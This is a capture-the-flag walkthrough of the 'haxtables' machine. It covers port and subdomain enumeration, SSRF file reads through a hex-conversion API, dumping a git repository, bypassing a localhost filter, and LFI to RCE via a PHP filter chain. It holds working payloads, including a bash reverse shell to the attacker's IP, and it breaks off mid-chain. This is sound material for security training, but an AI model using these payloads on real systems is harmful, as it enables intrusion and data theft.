Reconnaissonce
As always ports scanning comes first, to know which service are running on these ports.
Quick scan (more in depth scans are coming, this one just to get a quick view on the machine)
Copy nmap -sC -sV -O 10.10.11.198s
-sC: Use default scanning script
-sV: Probe open ports to determine service/version info
-v: Increase verbosity level
Copy PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
now we need to leave some scans run on the background so we make sure that we cover all the bases and didn't miss anything:
Starting with full TCP ports scan:
Copy nmap -sC -sV -p- nmap/full 10.10.11.198 -v
Follwed by full UPD ports scan:
Copy nmap -sU -p- -oA nmap/full_UDP 10.10.11.198 -v
As we can see port 22 (running OpenSSH 8.9p1) and port 80 (running Apache httpd 2.4.52) are open.
We start checking the webpage that is ruuning on port 80.
Enumeration:
The one thing i always do is set the proxy on burpsuite with the intercept off and start browsing the page and clicking everywhere, then check HTTP history on burpsuite and start analyzing requests (some times some POST requests are missing so i turn on intercept and do that manually). Plus running some directory fuzzing on the page on the background to see if anything is hidden(which is always true xd) and subdomain fuzzing also since we have already api.haxtables.htb
Copy gobuster dir -u http://10.10.11.198 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Copy gobuster dir -u http://api.haxtables.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Copy ffuf -u http://haxtables.htb -H "Host: FUZZ.haxtables.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 246
One page got my attention, where the creator describe how this api works (not an actual api).
We will then create this request to communicate with the server by simply taking another intercepted request and make the necessary changes:
Copy POST /v3/tools/string/index.php HTTP/1.1
Host: api.haxtables.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 67
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string
{
"action": "str2hex",
"data": "kavigihan"
}
Response:
Copy {"data":"6b617669676968616e"}
Another thing got my attention was this:
We can see that we can send an url. WAIT I know what you are thinking "SSRF" (going to be there in a minute) but let me test if this really works by listening on port 80
Copy nc -lvnp 80
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 60378
GET / HTTP/1.1
Host: 10.10.14.5
Accept: */*
that actually works but we didn't get any useful information from the request.
Let's play with that a little:
Copy {
"action": "str2hex",
"file_url": "file:///etc/passwd"
}
Here we are using file:// which is a protocol used to access files on a local or network file system using a URL (Uniform Resource Locator).
Copy {
"data":"726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130343a3130353a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3130353a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a737368643a783a3130363a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130373a3131333a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a75756964643a783a3130383a3131343a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130393a3131353a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3131303a3131363a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a6c616e6473636170653a783a3131313a3131373a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a7573626d75783a783a3131323a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a7376633a783a313030303a313030303a7376633a2f686f6d652f7376633a2f62696e2f626173680a6c78643a783a3939393a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a66777570642d726566726573683a783a3131333a3132303a66777570642d7265667265736820757365722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a3939383a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a"
}
Boom! we got the passwd file but it is in hex format (doesn't matter)
now since we can read files we will take a look at the apache default config file that may give us an idea about the web app location:
Copy {
"action": "str2hex",
"file_url": "file:///etc/apache2/sites-enabled/000-default.conf"
}
Copy <VirtualHost *:80>
ServerName haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName api.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/api
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName image.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/image
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
#SecRuleEngine On
<LocationMatch />
SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
Header always set Retry-After "10" env=RATELIMITED
</LocationMatch>
ErrorDocument 429 "Rate Limit Exceeded"
<Directory /var/www/image>
Deny from all
Allow from 127.0.0.1
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</DIrectory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
We can see from the config file that api.haxtables.htb
files are stored at /var/www/api
&
we found out that there is another subdomain called image.haxtables.htb
which its Document Root is /var/www/image
If we check our previous scan for subdomains we will already find that subdomain have been found:
Copy [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 74ms]
* FUZZ: api
[Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 89ms]
* FUZZ: image
we add that to /etc/host:
Copy echo "10.10.11.198 image.haxtables.htb" | sudo tee -a /etc/hosts
tee - read from standard input and write to standard output and files
-a, --append append to the given FILEs, do not overwrite
We try to visit this site:
Copy import requests, sys, os, json, click
# Define the base URL of your website
url = "http://api.haxtables.htb//v3/tools/string/index.php"
# Define the JSON payload for the POST request
json_payload = {
"action": "str2hex",
"file_url": "file:///var/www/image/"
}
proxy = {
"http": "http://127.0.0.1:8080",
}
def get_wordlist(wordlist):
with open(wordlist, "r") as wf:
wordlist = [line.strip() for line in wf]
return wordlist
@click.command()
@click.option('--wordlist','-w', default='/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt', help='wordlist to brute force with.')
def main(wordlist):
wordlist =g et_wordlist(wordlist)
for directory in wordlist:
json_payload["file_url"] = "file:///var/www/image/" + directory
response = requests.post(url, json=json_payload, proxies=proxy)
if response.status_code == 200:
page= json.loads(response.text.strip())
page_data= bytes.fromhex(page['data'])
if len(page_data) == 0:
response.status_code = 404
if response.status_code != 404:
print(f"{directory} - {response.content.decode('utf-8')}")
if __name__ == '__main__':
main()
as you can see we are using the file://
trick we used previously & here is the result:
Copy python3 brute_dir.py -w '/usr/share/seclists/Discovery/Web-Content/common.txt'
Copy .git/HEAD - {"data":"7265663a20726566732f68656164732f6d61737465720a"}
.git/config - {"data":"5b636f72655d0a097265706f7369746f7279666f726d617476657273696f6e203d20300a0966696c656d6f6465203d20747275650a0962617265203d2066616c73650a096c6f67616c6c72656675706461746573203d20747275650a"}
.git/index - {"data":"444952430000000200000007636d394d0f31d754636d394d0f31d7540000fd00000857ae000081a40000000000000000000000bf2d600ee8a453abd9bd515c41c8fa786b95f96f82001a616374696f6e732f616374696f6e5f68616e646c65722e7068700000000000000000636d394d0f31d754636d394d0f31d7540000fd00000857af000081a4000000000000000000000000e69de29bb2d1d6434b8b29ae775ad8c2e48c53910015616374696f6e732f696d616765327064662e7068700000000000636d394d0f31d754636d394d0f31d7540000fd00000857b2000081a400000000000000000001c7e862370b37f2f05b910c76c23d1d4ce9f7e3413ea6001b6173736574732f696d672f666f726573746272696467652e6a706700000000000000636d394d0f31d754636d394d0f31d7540000fd00000857b4000081a4000000000000000000000333f9d432448807f47dfd13cb71acc3fd6890f21ee00019696e636c756465732f636f6d696e675f736f6f6e2e68746d6c00636d394d0f31d754636d394d0f31d7540000fd00000857b5000081a400000000000000000000005172f0e39a9438fc0f915f63e2f26b762eb170cf8b0009696e6465782e70687000636d40013766bb7f636d3ffb16feb1d60000fd00000857a3000081ed00000000000000000000018cc1308cdc2b0fac3eb5b1e0872cdec44941ff22f50015736372697074732f6769742d636f6d6d69742e73680000000000636d394d0f31d754636d394d0f31d7540000fd00000857b6000081a40000000000000000000004e2ec9b154d84cab1888e2724c1083bf97eb57837c900097574696c732e7068700054524545000000b5003720340a30617cae3686895c80152d93a0568e3d0b6a0c49617373657473003120310a9a515b22daea1a74bbcf5d348ad9339202a8edd6696d67003120300a3d6e60659977f6c6d900f094ab0e33ed594c8dab616374696f6e73003220300a26c6c873fe81c801d731e417bf5d92e5bfa317d273637269707473003120300ae074c833c28d3b024eeea724cf892a440f89a5aa696e636c75646573003120300a2aa032b5df9bbaeedff30b6e13be938e48cae5f42cc54d8cbba4b30e3ecd5f3159aa7b4cf304570e"}
we notice the .git directory, so we're in a git repository, so all we need to do now is to dump that repository using git-dumper.py. Now we need that flask server:
Copy from flask import Flask, make_response
import requests
import json
app = Flask(__name__)
@app.route('/<path:path>')
def index(path):
json_data = {
"action" : "str2hex",
"file_url" : "file:///" + path
}
r = requests.post('http://api.haxtables.htb/v3/tools/string/index.php',json=json_data)
page= json.loads(r.text.strip())
page_data = bytes.fromhex(page["data"])
response = make_response(page_data)
if len(page_data) == 0:
response.status_code = 404
response.headers['Content-Type'] = 'text/plain' // to fix git-dumper error
return response
if __name__ == '__main__':
app.run()
now we need to to activate the server:
and run the git-dumper on the /var/www/image directory:
Copy git-dumper http://localhost:5000/var/www/image dumps
now we have all this:
Copy ./assets
./assets/img
./assets/img/forestbridge.jpg
./.git
./.git/info
./.git/info/exclude
./.git/index
./.git/refs
./.git/refs/heads
./.git/refs/heads/master
./.git/HEAD
./.git/logs
./.git/logs/refs
./.git/logs/refs/heads
./.git/logs/refs/heads/master
./.git/logs/HEAD
./.git/hooks
./.git/hooks/applypatch-msg.sample
./.git/hooks/post-update.sample
./.git/hooks/update.sample
./.git/hooks/pre-applypatch.sample
./.git/hooks/prepare-commit-msg.sample
./.git/hooks/pre-commit.sample
./.git/hooks/pre-rebase.sample
./.git/hooks/pre-push.sample
./.git/hooks/pre-receive.sample
./.git/hooks/commit-msg.sample
./.git/objects
./.git/objects/62
./.git/objects/62/370b37f2f05b910c76c23d1d4ce9f7e3413ea6
./.git/objects/9a
./.git/objects/9a/515b22daea1a74bbcf5d348ad9339202a8edd6
./.git/objects/e4
./.git/objects/e4/13857aba2ad6d1692337fa09d9ccf00f64aad0
./.git/objects/e0
./.git/objects/e0/74c833c28d3b024eeea724cf892a440f89a5aa
./.git/objects/26
./.git/objects/26/c6c873fe81c801d731e417bf5d92e5bfa317d2
./.git/objects/e6
./.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
./.git/objects/c1
./.git/objects/c1/308cdc2b0fac3eb5b1e0872cdec44941ff22f5
./.git/objects/a1
./.git/objects/a1/ac03b768b16cb11819d2ba9bc9016e18c2f1d9
./.git/objects/f9
./.git/objects/f9/d432448807f47dfd13cb71acc3fd6890f21ee0
./.git/objects/2d
./.git/objects/2d/600ee8a453abd9bd515c41c8fa786b95f96f82
./.git/objects/9c
./.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b
./.git/objects/30
./.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49
./.git/objects/3d
./.git/objects/3d/6e60659977f6c6d900f094ab0e33ed594c8dab
./.git/objects/31
./.git/objects/31/f5bbb2ab636f275e1db54e594911646a6e2d16
./.git/objects/a8
./.git/objects/a8/5ddf4be9e06aa275d26dfaa58ef407ad2c8526
./.git/objects/ec
./.git/objects/ec/9b154d84cab1888e2724c1083bf97eb57837c9
./.git/objects/72
./.git/objects/72/f0e39a9438fc0f915f63e2f26b762eb170cf8b
./.git/objects/2a
./.git/objects/2a/a032b5df9bbaeedff30b6e13be938e48cae5f4
./.git/COMMIT_EDITMSG
./.git/description
./.git/config
./actions
./actions/image2pdf.php
./actions/action_handler.php
./includes
./includes/coming_soon.html
./utils.php
./scripts
./scripts/git-commit.sh
./index.php
after analyzing the repository for a while, if we take a look at action_handler.php
Copy <?php
include_once 'utils.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>
We can see that this code is vulnerable to unsanitized input from an HTTP parameter page
.
So in order to make a use of this vulnerability we need to make sure that we can interact with action_handler.php . For example if we craft an url it should look like this:
Copy http://image.haxtables.htb/actions/action_handler.php?page=example
we copy that and paste it to the file_url parameter:
Copy {
"action": "str2hex",
"file_url": "http://image.haxtables.htb/actions/action_handler.php?page=example"
}
Response:
Copy {
"message":"Unacceptable URL"
}
that doesn't work why?. If we can take a look at utils.php we can see this function:
Copy function get_url_content($url)
{
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
echo jsonify(["message" => "Unacceptable URL"]);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}
which is preventing any connection to localhost.
So from this point we have 2 possibilities i will go through each one.
First Method (Ippsec found this which is the unintended way):
let's focus on this function parse_url($url, PHP_URL_HOST)
.
This function parses a URL and returns an associative array containing any of the various components of the URL that are present. So for example:
but the bug is in removing http://
part so let's try that:
as we can see it doesn't return anything so we can bypass this condition
Copy if (gethostbyname($domain) === "127.0.0.1") {
echo jsonify(["message" => "Unacceptable URL"]);
}
let's try and send that:
Copy {
"action": "str2hex",
"file_url": "image.haxtables.htb/actions/action_handler.php?page=example"
}
Response:
Second method:
In this method we will be using the convesrtion request:
Copy POST /handler.php HTTP/1.1
Host: 10.10.11.198
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 68
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string
{
"action":"str2hex",
"data":"ichyaboy",
"uri_path":"/v3/tools/string"
}
We can assume that at the backend it is append the uri_path to the url. something like this:
http://api.haxtables.htb${URI_PATH}
so the trick here is to use the @
(in URLS it seperates the username and the domain) so if we write http://api.haxtables.htb@10.10.14.5
what will happen here is the connection will be redirected to us with the username api.haxtables.htb.
let's try that:
Copy {
"action":"str2hex",
"data":"ichyaboy","uri_path":"@10.10.14.5/v3/tools/string"
}
and we listen on port 80
Copy nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 45980
POST /v3/tools/string/index.php HTTP/1.1
Host: 10.10.14.5
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Type:application/json
Content-Length: 82
{"data":"ichyaboy","action":"str2hex","uri_path":"@10.10.14.5\/v3\/tools\/string"}
if we decode the Authorization parametre:
Copy echo "YXBpLmhheHRhYmxlcy5odGI6" | base64 -d
api.haxtables.htb:
we can see how this worked.
so now we can revisit image.haxtables.htb/actions/action_handler.php?page=/etc/passwd
with applying our trick.
Copy {
"action":"str2hex",
"data":"ichyaboy",
"uri_path":"@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd"
}
it didn't work. So let's change this to our ip addresss and see how the request looks like:
Copy {
"action":"str2hex",
"data":"ichyaboy",
"uri_path":"@10.10.14.5/actions/action_handler.php?page=/etc/passwd"
}
Copy nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 49830
POST /actions/action_handler.php?page=/etc/passwd/index.php HTTP/1.1
Host: 10.10.14.5
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Type:application/json
Content-Length: 111
{
"data":"ichyaboy",
"action":"str2hex",
"uri_path":"@10.10.14.5\/actions\/action_handler.php?page=\/etc\/passwd"
}
We can see that is appending /index.php at the end so we just need to add &
to seperate parameters so it should look like this:
Copy nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 55052
POST /actions/action_handler.php?page=/etc/passwd&/index.php HTTP/1.1
Host: 10.10.14.5
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Type:application/json
Content-Length: 112
{"data":"ichyaboy","action":"str2hex","uri_path":"@10.10.14.5\/actions\/action_handler.php?page=\/etc\/passwd&"}
Now let's try if this works:
Copy {
"action":"str2hex",
"data":"ichyaboy",
"uri_path":"@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"
}
Copy root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Yes it did.
We start by generating our php filter chain (we need to escape some special characters as we can see in the payload so this can work):
Copy ./php_filter_chain_generator.py --chain "<?php shell_exec('/bin/bash -c \'bash -i >& /dev/tcp/10.10.14.5/1337 0>&1\'')?>" | grep ^php | xclip -selection clipboard
We give the php chain to the page parameter:
Copy {
"action": "str2hex",
"file_url": "image.haxtables.htb/actions/action_handler.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|conve